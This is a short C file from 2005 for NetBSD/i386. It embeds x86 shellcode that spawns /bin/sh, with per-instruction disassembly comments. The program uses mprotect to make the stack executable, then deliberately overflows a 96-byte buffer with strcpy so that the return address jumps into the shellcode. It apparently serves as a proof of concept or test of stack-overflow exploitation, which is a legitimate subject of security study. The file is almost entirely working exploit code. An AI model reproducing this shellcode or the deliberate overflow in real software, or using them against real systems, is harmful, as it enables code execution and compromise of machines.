/*
 * minervini at neuralnoise dot com (c) 2005
 * on NetBSD/i386 2.0 the stack is a non-executable memory region.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <errno.h>

char shellcode[] =
  "\x31\xc0"                 // xor    %eax,%eax
  "\x50"                     // push   %eax
  "\x68\x2f\x2f\x73\x68"     // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e"     // push   $0x6e69622f
  "\x89\xe3"                 // mov    %esp,%ebx
  "\x50"                     // push   %eax
  "\x54"                     // push   %esp
  "\x53"                     // push   %ebx
  "\x50"                     // push   %eax
  "\x34\x3b"                 // xor    $0x3b,%al
  "\xcd\x80";                // int    $0x80

char ls[128];

int main () {
   char buf[96];
   char *p;
   unsigned int i;
   long *lptr = (long *) ls;
   
   long pagesize = sysconf(_SC_PAGESIZE);
   
   p = (char *)((((int) buf + pagesize - 1) & ~(pagesize - 1)) - pagesize);
   printf("buffer: %p, page: %p, shellcode length: %u\n", buf, p,
	  strlen(shellcode));
   
   if (mprotect(p, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC))
     errx(errno, "mprotect(): %s", strerror(errno));
   
   for (i = 0; i < 32; i++)
     *(lptr + i) = (int) buf;
   
   for (i = 0; i < strlen(shellcode); i++)
     ls[i] = shellcode[i];
   
   strcpy(buf, ls);
   
   return(0);
}

